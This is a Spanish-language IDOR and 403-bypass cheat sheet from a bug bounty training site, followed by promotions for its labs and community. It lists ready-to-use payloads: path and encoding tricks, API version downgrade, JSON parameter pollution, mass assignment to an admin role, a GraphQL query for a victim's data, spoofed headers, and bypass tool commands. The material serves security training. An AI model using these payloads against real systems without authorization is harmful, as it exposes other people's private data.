Cheatsheet IDOR

Insecure Direct Object Reference

Referencia rápida

  • →El IDOR existe porque la capa que autoriza y la capa que procesa interpretan el input diferente
  • →Encoded space (%20) es la tecnica con mayor ratio de exito segun investigaciones
  • →Siempre probar version downgrade de API: v5 -> v4, v3, v2, v1
  • →UUID v1 es predecible si conoces timestamp aproximado - solo v4 tiene alta entropia
  • →Buscar IDs filtrados en otras respuestas API, Referrer headers y signup flows

Tecnicas de bajo ruido

Trailing slash

/api/v5/users/99/

Double slash

/api/v5//users//99

Subpath variantsProbar tambien: /details, /info, /summary, /export

/api/v5/users/99/profile

Query param vs pathDiferentes code paths de parsing

/users?id=99

Multi-ID filterList endpoints suelen tener menos proteccion

?ids[]=100&ids[]=99

Version downgrade y formato

API version downgradeVersiones antiguas pueden no tener ACL modernos

/api/v2/users/99

Type confusion - string

/users/"99"

Leading zeros

/users/099

Hexadecimal0x63 = 99 en hexadecimal

/users/0x63

Encoded space (mas exitoso)Tecnica con mayor ratio de exito real

/users/99%20

Null byte

/users/99%00

Composite (combinar)Version downgrade + encoded space + trailing slash

/api/v2/users/99%20/

Manipulacion de parametros

JSON parameter pollutionBackend puede tomar el segundo valor

{"userid":1234,"userid":2542}

Wrap ID con array

{"userid":[123]}

Wrap ID con objeto

{"userid":{"userid":123}}

Mass assignment - role

{"username":"test","role":"admin","isVerified":true}

GraphQL IDOR

query { user(id: "victim-id") { email role personalData } }

Type confusion (object ID swap)Sustituir tipo de ID esperado por otro tipo

page_id=USER_ID

Bypass 403 con headers

X-Original-URL

X-Original-URL: /api/v5/admin/100

X-Forwarded-For

X-Forwarded-For: 127.0.0.1

X-Custom-IP-Authorization

X-Custom-IP-Authorization: 127.0.0.1

X-Rewrite-URL

X-Rewrite-URL: /admin

X-HTTP-Method-OverrideCambiar metodo HTTP via header

X-HTTP-Method-Override: PUT

Bypass 403 con URL encoding

Path con punto

/admin/.

Path con punto-coma

/admin;/

Path con doble encoding

/admin%252f

Path con %2e

/%2e/admin

Path con null byte

/admin%00.json

Case manipulation

/ADMIN

Path traversal y vuelta

/admin/./../../admin

Herramientas

Autorize (Burp)

Extension de Burp que detecta IDOR automaticamente comparando sesiones

Burp Suite > Extensions > Autorize > Configure cookies

bypass-403

Prueba automaticamente multiples tecnicas de bypass 403

python3 bypass-403.py https://target.com/admin

Arjun

Descubre parametros HTTP ocultos en endpoints API

arjun -u https://target.com/api/endpoint

¿Listo para practicar?

Pon en práctica estos payloads en labs reales basados en reportes de bug bounty.

Ver labs de práctica
650

hunters entrenando

50

labs de hackeos reales

380

completaciones

$12.000

pagados por estos bugs

40 flags capturadas esta semana·Hackeos reales de HackerOne · YesWeHack · Bugcrowd·Sin permanencia·Academy gratis
Gratis · sin cuenta

La checklist que repaso en cada objetivo nuevo

47 comprobaciones ordenadas por coste: primero lo que te puede meter en un lío, luego lo barato, y al final lo caro — que es donde están los bounties grandes. Te la mando al correo ahora mismo.

Te das de baja en un clic, desde cualquier correo.

BBLabs · bug bounty en español

Deja de leer sobre bugs y empieza a cazarlos

Crea tu cuenta gratis y practica sobre labs basados en hackeos reales que pagaron miles de euros. La Academy es gratis para siempre.

Sin tarjeta · Academy gratis · cancela cuando quieras

La comunidad

Esto no es una plataforma con usuarios.Es gente rompiendo lo mismo que tú.

Dentro se pregunta, se enseña lo que se ha encontrado y se resuelve en grupo lo que atascaría a cualquiera solo. Se entra gratis: sin cuenta, sin plan y sin dejar el correo.

Entrar a la comunidad de BBLABS en Discord
Entrar al Discord

Es gratis y abierto. No hace falta tener cuenta en BBLABS para entrar.